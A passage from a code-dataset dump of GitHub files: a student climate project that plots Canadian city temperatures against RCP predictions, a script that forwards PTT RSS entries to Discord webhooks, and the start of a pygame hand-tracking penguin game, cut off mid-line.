"line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.quiver", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.quiver", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 183, "usage_type": "call"}, {"api_name": "jax.numpy.concatenate", "line_number": 196, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 196, "usage_type": "name"}, {"api_name": "jax.numpy.squeeze", "line_number": 197, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 197, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 205, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 206, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 206, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 208, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 208, "usage_type": "call"}, {"api_name": "jax.numpy.mean", "line_number": 209, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 209, "usage_type": "name"}, {"api_name": "jax.jit", "line_number": 201, "usage_type": "attribute"}, {"api_name": "jax.experimental.stax.serial", "line_number": 212, "usage_type": "call"}, {"api_name": "jax.experimental.stax", "line_number": 212, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Dense", "line_number": 213, "usage_type": "call"}, {"api_name": "jax.experimental.stax", "line_number": 213, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Softplus", "line_number": 214, "usage_type": "attribute"}, {"api_name": "jax.experimental.stax", "line_number": 214, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Dense", "line_number": 215, "usage_type": "call"}, {"api_name": "jax.experimental.stax", "line_number": 215, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Softplus", "line_number": 216, "usage_type": "attribute"}, {"api_name": "jax.experimental.stax", "line_number": 216, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Dense", "line_number": 217, "usage_type": "call"}, {"api_name": "jax.experimental.stax", "line_number": 217, "usage_type": "name"}, {"api_name": "jax.experimental.stax.serial", "line_number": 219, "usage_type": "call"}, {"api_name": "jax.experimental.stax", "line_number": 219, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Dense", "line_number": 220, "usage_type": "call"}, {"api_name": "jax.experimental.stax", "line_number": 220, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Softplus", "line_number": 221, "usage_type": "attribute"}, {"api_name": "jax.experimental.stax", "line_number": 221, "usage_type": "name"}, {"api_name": "jax.experimental.stax.Dense", "line_number": 222, "usage_type": "call"}, {"api_name": "jax.experimental.stax", "line_number": 222, "usage_type": "name"}, {"api_name": "jax.grad", "line_number": 229, "usage_type": "call"}, {"api_name": "jax.jit", "line_number": 226, "usage_type": "attribute"}, {"api_name": "jax.grad", "line_number": 234, "usage_type": "call"}, {"api_name": "jax.jit", "line_number": 231, "usage_type": "attribute"}, {"api_name": "jax.device_put", "line_number": 236, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 236, "usage_type": "call"}, {"api_name": "jax.device_put", "line_number": 237, "usage_type": "call"}, {"api_name": "jax.device_put", "line_number": 239, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 239, "usage_type": "call"}, {"api_name": "jax.device_put", "line_number": 240, "usage_type": "call"}, {"api_name": "jax.random.PRNGKey", "line_number": 247, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 247, "usage_type": "attribute"}, {"api_name": "jax.experimental.optimizers.adam", "line_number": 259, "usage_type": "call"}, {"api_name": "jax.experimental.optimizers", "line_number": 259, "usage_type": "name"}, {"api_name": "jax.numpy.select", "line_number": 260, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 260, "usage_type": "name"}, {"api_name": "jax.numpy.save", "line_number": 281, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 281, "usage_type": "attribute"}]}
{"seq_id": "6195844128", "text": "\"\"\"\r\nClimate Change Project\r\n\"\"\"\r\n\r\nimport csv\r\nfrom typing import Dict, List, Tuple\r\nimport plotly.graph_objects as go\r\nfrom PIL import Image, ImageDraw, ImageFont\r\n\r\n\r\nTORONTO = ('datasets/toronto_actual.csv', 'datasets/toronto_predicted.csv', (800, 1000), 'Toronto')\r\nQUEBEC = ('datasets/quebec_actual.csv', 'datasets/quebec_predicted.csv', (950, 1000), 'Quebec')\r\nHALIFAX = ('datasets/halifax_actual.csv', 'datasets/halifax_predicted.csv', (1315, 1060), 'Halifax')\r\nWINNIPEG = ('datasets/winnipeg_actual.csv', 'datasets/winnipeg_predicted.csv', (658, 852), 'Winnipeg')\r\n\r\nCITIES_SET = {TORONTO, QUEBEC, HALIFAX, WINNIPEG}\r\nMAP = 'canada_map2.jpg'\r\nCITY_TEMPS = {}\r\n\r\n#this the reader part of our project (both functions read the data from the datasets)\r\n\r\n\r\n\r\ndef read_actual_data(actual_data_filepath: str) -> Dict[int, float]:\r\n    \"\"\"Return a dictionary mapping of year to temperature from the data in a CSV file.\r\n\r\n    Preconditions:\r\n        - filepath refers to a csv file in the format of\r\n          datasets/toronto.actual_temps.csv\r\n          (i.e., could be that file or a different file in the same format)\r\n    \"\"\"\r\n    with open(actual_data_filepath) as file:\r\n        reader = csv.reader(file)\r\n\r\n        next(reader)\r\n\r\n        monthly_temps = []\r\n        years = []\r\n        yearly_dict = {}\r\n        index = 0\r\n        sum_so_far = 0\r\n        for row in reader:\r\n            monthly_temps.append(float(row[4]))\r\n\r\n            year = int(row[2])\r\n            if year not in years:\r\n                years.append(year)\r\n\r\n    for year in years:\r\n        for _ in range(0, 12):\r\n            sum_so_far = sum_so_far + monthly_temps[index]\r\n            index += 1\r\n        mean_temp = sum_so_far / 12\r\n        yearly_dict[year] = round(mean_temp, 2)\r\n        sum_so_far = 0\r\n\r\n    return yearly_dict\r\n\r\n\r\ndef read_predicted_data(predicted_temps_filepath: str, actual_temps_dict: dict) -> Dict[int, Dict[str, float]]:\r\n    \"\"\"Return a dictionary of year to a dictionary of varying RCPs\r\n        and their respective predicted temperature from the data in a CSV file.\r\n\r\n    Preconditions:\r\n        - filepath refers to a csv file in the format of\r\n          datasets/toronto.predicted_temps.csv\r\n          (i.e., could be that file or a different file in the same format)\r\n    \"\"\"\r\n    with open(predicted_temps_filepath) as file:\r\n        reader = csv.reader(file)\r\n\r\n        years = list(actual_temps_dict.keys())\r\n\r\n        next(reader)\r\n\r\n        for _ in range(0, years[0] - 2000):\r\n            next(reader)\r\n\r\n        temp_low_rcp_list = []\r\n        temp_medium_rcp_list = []\r\n        temp_high_rcp_list = []\r\n        rcp_dict = {}\r\n        index = 0\r\n\r\n        for row in reader:\r\n            temp_low_rcp_list.append(float(row[2]))\r\n            temp_medium_rcp_list.append(float(row[5]))\r\n            temp_high_rcp_list.append(float(row[8]))\r\n\r\n    for year in years:\r\n        rcp_dict[year] = {'RCP 2.6': temp_low_rcp_list[index],\r\n                          'RCP 4.5': temp_medium_rcp_list[index],\r\n                          'RCP 8.5': temp_high_rcp_list[index]}\r\n        index += 1\r\n\r\n    return rcp_dict\r\n#\r\n\r\n# these functions all compute on the data\r\ndef make_low_rcp_list(predicted_temps_dict: dict) -> List[float]:\r\n    \"\"\"Return a list of RCP 2.6 temperature values\r\n    \"\"\"\r\n    low_rcp_list = []\r\n\r\n    for year in list(predicted_temps_dict.keys()):\r\n        low_rcp_list.append(predicted_temps_dict[year]['RCP 2.6'])\r\n\r\n    return low_rcp_list\r\n\r\n\r\ndef make_median_rcp_list(predicted_temps_dict: dict) -> List[float]:\r\n    \"\"\"Return a list of RCP 4.5 temperature values\r\n    \"\"\"\r\n    median_rcp_list = []\r\n\r\n    for year in list(predicted_temps_dict.keys()):\r\n        median_rcp_list.append(predicted_temps_dict[year]['RCP 4.5'])\r\n\r\n    return median_rcp_list\r\n\r\n\r\ndef make_high_rcp_list(predicted_temps_dict) -> List[float]:\r\n    \"\"\"Return a list of RCP 8.5 temperature values\r\n    \"\"\"\r\n    high_rcp_list = []\r\n\r\n    for year in list(predicted_temps_dict.keys()):\r\n        high_rcp_list.append(predicted_temps_dict[year]['RCP 8.5'])\r\n\r\n    return high_rcp_list\r\n\r\n\r\ndef calculate_low_actual_percentage_difference(actual_temps_dict: dict, final_low_rcp_list: list) -> List[float]:\r\n    \"\"\"\r\n    Return a list of percentage differences of low RCP values to actual temperature values\r\n    \"\"\"\r\n    actual_temps_list = list(actual_temps_dict.values())\r\n    low_rcp_pd = []\r\n    for index in range(0, len(final_low_rcp_list)):\r\n        difference = abs(final_low_rcp_list[index] - actual_temps_list[index])\r\n        percentage_difference = round(((difference / actual_temps_list[index]) * 100), 1)\r\n        low_rcp_pd.append(percentage_difference)\r\n\r\n    return low_rcp_pd\r\n\r\n\r\ndef calculate_median_actual_percentage_difference(actual_temps_dict: dict, final_median_rcp_list: list) -> List[float]:\r\n    \"\"\"\r\n    Return a list of percentage differences of median RCP values to actual temperature values\r\n    \"\"\"\r\n    actual_temps_list = list(actual_temps_dict.values())\r\n    median_rcp_pd = []\r\n    for index in range(0, len(final_median_rcp_list)):\r\n        difference = abs(final_median_rcp_list[index] - actual_temps_list[index])\r\n        percentage_difference = round(((difference / actual_temps_list[index]) * 100), 1)\r\n        median_rcp_pd.append(percentage_difference)\r\n\r\n    return median_rcp_pd\r\n\r\n\r\ndef calculate_high_actual_percentage_difference(actual_temps_dict: dict, final_high_rcp_list: list) -> List[float]:\r\n    \"\"\"\r\n    Return a list of percentage differences of high RCP values to actual temperature values\r\n    \"\"\"\r\n    actual_temps_list = list(actual_temps_dict.values())\r\n    high_rcp_pd = []\r\n    for index in range(0, len(final_high_rcp_list)):\r\n        difference = abs(final_high_rcp_list[index] - actual_temps_list[index])\r\n        percentage_difference = round(((difference / actual_temps_list[index]) * 100), 1)\r\n        high_rcp_pd.append(percentage_difference)\r\n\r\n    return high_rcp_pd\r\n#\r\n\r\n\r\n# these functions visualise our program (plot graph and table)\r\ndef plot_temp_data(actual_temps_dict: dict, final_low_rcp_list: list, final_median_rcp_list: list, final_high_rcp_list: list) -> None:\r\n    \"\"\"Plot a line and scatter graph of real and predicted temperatures\r\n        using plotly's line and scatter plots\r\n    \"\"\"\r\n    x = list(actual_temps_dict.keys())\r\n    actual_y = list(actual_temps_dict.values())\r\n    low_predicted_y = final_low_rcp_list\r\n    median_predicted_y = final_median_rcp_list\r\n    high_predicted_y = final_high_rcp_list\r\n\r\n    fig = go.Figure()\r\n\r\n    fig.add_trace(go.Scatter(x=x, y=low_predicted_y,\r\n                             mode='lines+markers',\r\n                             name='RCP 2.6 Predicted Temperature'))\r\n\r\n    fig.add_trace(go.Scatter(x=x, y=median_predicted_y,\r\n                             mode='lines+markers',\r\n                             name='RCP 4.5 Predicted Temperature'))\r\n\r\n    fig.add_trace(go.Scatter(x=x, y=high_predicted_y,\r\n                             mode='lines+markers',\r\n                             name='RCP 8.5 Predicted Temperature'))\r\n\r\n    fig.add_trace(go.Scatter(x=x, y=actual_y,\r\n                             mode='lines+markers',\r\n                             name='Actual Temperature'))\r\n    fig.update_layout(\r\n        title=\"Actual vs Predicted Temperature of \" + city[3],\r\n        xaxis_title=\"Years\",\r\n        yaxis_title=\"Temperature (Celcius)\",\r\n        font=dict(\r\n            family=\"Courier New, monospace\",\r\n            size=18)\r\n    )\r\n\r\n    fig.show()\r\n\r\n\r\ndef draw_table(actual_temps_dict: dict,\r\n               final_low_rcp_list: list,\r\n               final_median_rcp_list: list,\r\n               final_high_rcp_list: list,\r\n               low_rcp_percentage_difference: list,\r\n               median_rcp_percentage_difference: list,\r\n               high_rcp_percentage_difference: list) -> None:\r\n    \"\"\"\r\n    Draw a table using a plotly's basic table\r\n    \"\"\"\r\n    fig = go.Figure(data=[go.Table(header=dict(values=['Actual Temperature', 'RCP 2.6',\r\n                                                       '% Difference of RCP 2.6 and Actual Temp',\r\n                                                       'RCP 4.5',\r\n                                                       '% Difference of RCP 4.5 and Actual Temp',\r\n                                                       'RCP 8.5',\r\n                                                       '% Difference of RCP 8.5 and Actual Temp'],\r\n                                               line_color='darkslategray',\r\n                                               fill_color='lightskyblue'),\r\n                                   cells=dict(values=[list(actual_temps_dict.values()),\r\n                                                      final_low_rcp_list,\r\n                                                      low_rcp_percentage_difference,\r\n                                                      final_median_rcp_list,\r\n                                                      median_rcp_percentage_difference,\r\n                                                      final_high_rcp_list,\r\n                                                      high_rcp_percentage_difference]))])\r\n\r\n    fig.update_layout(\r\n        title=\"Actual vs Predicted Temperature of \" + city[3]\r\n    )\r\n\r\n    fig.show()\r\n\r\n\r\ndef draw_map(rcp_type: str) -> None:\r\n    \"\"\"\r\n    Draws the map\r\n    \"\"\"\r\n\r\n    map = Image.open(MAP)\r\n    width, height = map.size\r\n\r\n    new_map = Image.new('RGB', (width * 2, height + 80))\r\n\r\n    # fills the states for the actual map\r\n    for city in CITIES_SET:\r\n        temp = CITY_TEMPS[city][0]\r\n        ImageDraw.floodfill(map, city[2], temp_to_rgb(temp), thresh=50)\r\n\r\n    map2 = Image.open(MAP)\r\n\r\n    # fills the states for the predicted map\r\n    for city in CITIES_SET:\r\n        temp = CITY_TEMPS[city][rcp_to_slice(rcp_type)]\r\n        ImageDraw.floodfill(map2, city[2], temp_to_rgb(temp), thresh=50)\r\n\r\n    new_map.paste(map, (0, 80))\r\n    new_map.paste(map2, (width, 80))\r\n\r\n    # Writes the titles\r\n    title_font = ImageFont.truetype(\"arial.ttf\", 50)\r\n    new_map_editable = ImageDraw.Draw(new_map)\r\n    new_map_editable.text((width // 3, 10), 'Actual Temperatures(' + year + ')', font=title_font)\r\n    new_map_editable.text((int(1.3 * width), 10), 'Predicted Temperatures(' + year + ')', font=title_font)\r\n\r\n    new_map.show()\r\n\r\n\r\ndef rcp_to_slice(rcp_type: str) -> int:\r\n    \"\"\"\r\n    returns the index that corresponds to that RCP value\r\n    \"\"\"\r\n    if rcp_type == 'RCP 2.6':\r\n        return 1\r\n    elif rcp_type == 'RCP 4.5':\r\n        return 2\r\n    elif rcp_type == 'RCP 8.5':\r\n        return 3\r\n\r\n\r\ndef temp_to_rgb(temp: float) -> Tuple:\r\n    \"\"\"\r\n    returns the rgb value that corresponds to that temperature\r\n    \"\"\"\r\n    if temp > 20:\r\n        return (0, 0, 0, 40)\r\n    elif temp >= 17.3:\r\n        return (255, 0, int(35.55 * (temp - 17.3)), 40)\r\n    elif temp >= 5.6:\r\n        return (255, int(21.79 * (17.3-temp)), 0, 40)\r\n    elif temp >= 2.9:\r\n        return (int(85.19 * (temp - 2.9)), 255, 0, 40)\r\n    elif temp >= -0.30:\r\n        return (0, 255, int(79.69 * (2.9 - temp)), 40)\r\n    else:\r\n        return (250, 250, 250, 40)\r\n\r\n\r\ndef run(city: tuple, year: int, city_name: str) -> None:\r\n    \"\"\"\r\n    runs the code for one city\r\n    \"\"\"\r\n    actual_temps_dict = read_actual_data(city[0])\r\n    predicted_temps_dict = read_predicted_data(city[1], actual_temps_dict)\r\n\r\n\r\n    if city[3].lower() == city_name.lower():\r\n        final_low_rcp_list = make_low_rcp_list(predicted_temps_dict)\r\n        low_rcp_percentage_difference = calculate_low_actual_percentage_difference(actual_temps_dict, final_low_rcp_list)\r\n        final_median_rcp_list = make_median_rcp_list(predicted_temps_dict)\r\n        median_rcp_percentage_difference = calculate_median_actual_percentage_difference(actual_temps_dict,\r\n                                                                                         final_median_rcp_list)\r\n        final_high_rcp_list = make_high_rcp_list(predicted_temps_dict)\r\n        high_rcp_percentage_difference = calculate_high_actual_percentage_difference(actual_temps_dict, final_high_rcp_list)\r\n        plot_temp_data(actual_temps_dict, final_low_rcp_list, final_median_rcp_list, final_high_rcp_list)\r\n        draw_table(actual_temps_dict, final_low_rcp_list, final_median_rcp_list, final_high_rcp_list,\r\n                   low_rcp_percentage_difference, median_rcp_percentage_difference, high_rcp_percentage_difference)\r\n\r\n    temperatures = [actual_temps_dict[year], predicted_temps_dict[year]['RCP 2.6'],\r\n                    predicted_temps_dict[year]['RCP 4.5'], predicted_temps_dict[year]['RCP 8.5']]\r\n    CITY_TEMPS[city] = temperatures\r\n\r\n\r\n# this is the main part of the program that calls every function\r\nif __name__ == '__main__':\r\n\r\n    year = input(\"Write the year you want to see in the map from 2003-2019\")\r\n    if not(2003 <= int(year) <= 2019):\r\n        year = input(\"Try again. Write the year you want to see in the map from 2003-2019\")\r\n    city_name = input(\r\n        \"Type the name of the city you want to display its stats on graph (TORONTO, QUEBEC, HALIFAX, WINNIPEG)\")\r\n    if not (city_name.lower() == 'toronto' or city_name.lower() == 'quebec' or city_name.lower() == 'halifax' or\r\n            city_name.lower() == 'winnnipeg'):\r\n        city_name = input(\r\n            \"Try again. Type the name of the city you want to display its stats on graph (TORONTO, QUEBEC, HALIFAX, WINNIPEG)\")\r\n    rcp_type = input(' write an rcp value (RCP 2.6, RCP 4.5, RCP 8.5)')\r\n    if not (rcp_type == 'RCP 2.6' or rcp_type == 'RCP 4.5' or rcp_type == 'RCP 8.5'):\r\n        rcp_type = input('Try again. Write an rcp value (RCP 2.6, RCP 4.5, RCP 8.5)')\r\n\r\n    while True:\r\n        for city in CITIES_SET:\r\n            run(city, int(year), city_name)\r\n\r\n        draw_map(rcp_type)\r\n\r\n        year = input(\"Write the year you want to see in the map from 2003-2019\")\r\n        if not (2003 <= int(year) <= 2019):\r\n            year = input(\"Try again. Write the year you want to see in the map from 2003-2019\")\r\n        if not (2003 <= int(year) <= 2019):\r\n            break\r\n\r\n        city_name = input(\r\n            \"Type the name of the city you want to display its stats on graph (TORONTO, QUEBEC, HALIFAX, WINNIPEG)\")\r\n        if not(city_name.lower() == 'toronto' or city_name.lower() == 'quebec' or city_name.lower() == 'halifax' or\r\n               city_name.lower() == 'winnnipeg'):\r\n            city_name = input(\r\n                \"Try again. Type the name of the city you want to display its stats on graph (TORONTO, QUEBEC, HALIFAX, WINNIPEG)\")\r\n        if not (city_name.lower() == 'toronto' or city_name.lower() == 'quebec' or city_name.lower() == 'halifax' or\r\n                city_name.lower() == 'winnnipeg'):\r\n            break\r\n\r\n        rcp_type = input(' write an rcp value (RCP 2.6, RCP 4.5, RCP 8.5)')\r\n        if not(rcp_type == 'RCP 2.6' or rcp_type == 'RCP 4.5' or rcp_type == 'RCP 8.5'):\r\n            rcp_type = input('Try again. Write an rcp value (RCP 2.6, RCP 4.5, RCP 8.5)')\r\n        if not (rcp_type == 'RCP 2.6' or rcp_type == 'RCP 4.5' or rcp_type == 'RCP 8.5'):\r\n            break\r\n#     import python_ta\r\n#\r\n#     python_ta.check_all(config={\r\n#         'allowed-io': ['read_csv_data'],\r\n#         'extra-imports': ['python_ta.contracts', 'csv', 'datetime',\r\n#                           'plotly.graph_objects', 'plotly.subplots'],\r\n#         'max-line-length': 100,\r\n#         'max-args': 6,\r\n#         'max-locals': 25,\r\n#         'disable': ['R1705'],\r\n#     })\r\n#\r\n#     import python_ta.contracts\r\n#\r\n#     python_ta.contracts.DEBUG_CONTRACTS = False\r\n#     python_ta.contracts.check_all_contracts()\r\n# #\r\n", "repo_name": "erenfn/CSC110-Final-Project", "sub_path": "project.py", "file_name": "project.py", "file_ext": "py", "file_size_in_byte": 15680, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.reader", "line_number": 33, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 24, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 70, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 100, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 111, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 133, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 147, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 161, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 187, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 187, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 189, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 189, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 193, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 193, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 197, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 197, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 201, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 201, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 226, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 226, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Table", "line_number": 226, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 254, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 254, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 257, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 257, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.floodfill", "line_number": 262, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 262, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 264, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 264, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.floodfill", "line_number": 269, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 269, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 275, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 275, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 276, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 276, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 295, "usage_type": "name"}]}
{"seq_id": "27851191431", "text": "import feedparser\nimport requests\nimport sqlite3\nimport time\nfrom datetime import datetime, timezone, timedelta\n\nwebHookUrl = ['https://discord.com/api/webhooks/...AccountidA',\n              'https://discord.com/api/webhooks/...AccountidB']\n\nPTTRssUrl = ['https://www.ptt.cc/atom/PC_Shopping.xml',\n             'https://www.ptt.cc/atom/HardwareSale.xml']\n\n\ndef req_webhook(webHookUrl: str, DATA: dict, URL: str):\n    try:\n        time.sleep(5)\n        SendToDC = requests.post(\n            webHookUrl, json=DATA)\n        if 200 <= SendToDC.status_code < 300:\n            print(\n                f\"Send Webhook {str(URL)}\\nStatus:{SendToDC.status_code}\")\n        else:\n            print(\n                f\"Send Webhook {str(URL)}\\nStatus:{SendToDC.status_code}, response:\\n{SendToDC.json()}\")\n    except Exception as e:\n        print(e)\n\n\ndef main(Webhookurl: str, RssUrl: str):\n    con = sqlite3.connect('rss.db')\n    cur = con.cursor()\n    cur.execute(\n        '''CREATE TABLE IF NOT EXISTS Stuff(url TEXT PRIMARY KEY NOT NULL)''')\n    data = feedparser.parse(RssUrl)\n    Provider = data.feed.title\n    for i in data.entries:\n        Title = i.title\n        hyperLink = i.link\n        description = i.summary\n        Author = i.author\n\n        exist = con.execute(\n            \"SELECT * FROM Stuff WHERE url = ?\", ([hyperLink])).fetchone()\n        if exist is None:\n            # print(shorTcode)\n            cur.execute(\n                \"INSERT INTO Stuff VALUES(?)\", [hyperLink])\n            con.commit()\n            time_now = datetime.now(timezone(timedelta(hours=+8))).isoformat()\n            embed = {\n                \"description\":  description[5:len(description)-7].replace(\"*\", \"\\*\"),\n                \"title\": Title,\n                \"timestamp\": time_now,\n                \"color\": 0x546e7a,\n                \"author\": {\n                    \"name\": Provider+\" ( \"+Author+\" )\",\n                },\n                \"footer\": {\n                    \"text\": \"Powered by vincent-chang-rightfighter/DiscordRSS-Improve\",\n                    \"icon_url\": \"https://raw.githubusercontent.com/vincent-chang-rightfighter/DiscordWebhook-InstagramUrl/main/icon.png\"\n                },\n            }\n            data = {\"content\": f\"{Title}\\n{hyperLink}\",\n                    \"embeds\": [embed], }\n            req_webhook(Webhookurl, data, hyperLink)\n\n        else:\n            print(\"Yep exists\")\n    con.close()\n\n\nif __name__ == \"__main__\":\n    # main()\n    for i in range(len(PTTRssUrl)):\n        main(webHookUrl[i], PTTRssUrl[i])\n", "repo_name": "vincent-chang-rightfighter/DiscordRSS-Improve", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2522, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 30, "usage_type": "call"}, {"api_name": "feedparser.parse", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.timezone", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 49, "usage_type": "call"}]}
{"seq_id": "73080214985", "text": "import pygame\nimport time\nimport random\nfrom constant import *\nfrom background import Background\nfrom hand import Hand\nfrom hand_tracking import HandTracking\nfrom penguin import Penguin\nfrom bomb import Bomb\nimport cv2\nimport ui\n\nclass Game:\n    def __init__(self, surface):\n        self.surface = surface\n        self.background = Background()\n        self.capture = cv2.VideoCapture(0) # Load camera using the default camera (0)\n        self.sounds = {}\n        self.sounds[\"grab\"] = pygame.mixer.Sound(f\"Assets/Sounds/grab.mp3\")\n        self.sounds[\"grab\"].set_volume(SOUNDS_VOLUME)\n        self.sounds[\"explosion\"] = pygame.mixer.Sound(f\"Assets/Sounds/explosion.wav\")\n        self.sounds[\"explosion\"].set_volume(SOUNDS_VOLUME-0.6)\n        self.sounds[\"click\"] = pygame.mixer.Sound(f\"Assets/Sounds/click.mp3\")\n        self.sounds[\"click\"].set_volume(SOUNDS_VOLUME)\n\n    # Reset all the needed variables when a new game starts\n    def reset(self): \n        self.hand_tracking = HandTracking()\n        self.hand = Hand()\n        self.objects = []\n        self.objects_spawn_timer = 0\n        self.score = 0\n        self.game_start_time = time.time()\n\n    def spawn_objects(self):\n        t = time.time() #Gets the current time in seconds\n        if t > self.objects_spawn_timer:\n            self.objects_spawn_timer = t + PENGUIN_SPAWN_TIME #A new penguin will be spawned every 1 second\n\n            # Increase the probability that the object will be a bomb over time\n            # nb = number of bombs\n            nb = (GAME_DURATION-self.time_left)/GAME_DURATION * 100 / 2  #Increase from 0 to 50 during all the game (linear)\n\n            # Add randomness and unpredictability to the game\n            if random.randint(0, 100) < nb:\n                self.objects.append(Bomb())\n            else:\n                self.objects.append(Penguin())\n\n            # Spawn additional bomb and penguin after the half of the game to increase difficulty\n            if self.time_left < GAME_DURATION/2:\n                self.objects.append(Bomb())\n\n            if self.time_left < GAME_DURATION/2:\n                self.objects.append(Penguin())\n\n    # Keep track of the remaining time in the game \n    def update_game_time(self):\n        self.time_left = max(round(GAME_DURATION - (time.time() - self.game_start_time), 1), 0) #The result is 1 decimal place, with the maximum value between the result and 0 \n\n    # Capture single frame from the camera\n    def load_camera(self):\n        _, self.frame = self.capture.read() #method to read the next frame from the camera\n        # '_' used to unpack tuple returned by the method, containing boolean whether frame was read successfully\n        # frame assigned to the self.frame\n\n    # Track player's hand in real-time\n    def set_hand_position(self):\n        self.frame = self.hand_tracking.scan_hands(self.frame) #Scanning the hands in the frame\n        (x, y) = self.hand_tracking.get_hand_position() \n        self.hand.rect.center = (x, y) #Sets the hand object position on the screen to match the position of the hand in the webcam frame\n                                        # thus hand object positioned on the screen at the same location as hand in the webcam frame\n\n    # Drawing elements of the game on the screen\n    def draw(self):\n        self.background.draw(self.surface) #Draw the background\n        for object in self.objects: #Draw the objects\n            object.draw(self.surface)\n        self.hand.draw(self.surface) #Draw the hand\n        ui.draw_text(self.surface, f\"Score : {self.score}\", (5, 5), COLORS[\"score\"], font=FONTS[\"medium\"],\n                    shadow=True, shadow_color=(255,255,255)) #Draw the score\n        timer_text_color = (160, 40, 0) if self.time_left < 5 else COLORS[\"timer\"] #Change the text color remaining time less than 5s\n        ui.draw_text(self.surface, f\"Time left : {self.time_left}\", (SCREEN_WIDTH//2, 5),  timer_text_color, font=FONTS[\"medium\"],\n                    shadow=True, shadow_color=(255,255,255)) #Draw the remaining time\n\n    # Update the game's state\n    def update(self):\n        self.load_camera() \n        self.set_hand_position() \n        self.update_game_time()\n        self.draw()\n\n        if self.time_left > 0:\n            self.spawn_objects()\n            (x, y) = self.hand_tracking.get_hand_position()\n            self.hand.rect.center = (x, y)\n            self.hand.left_click = 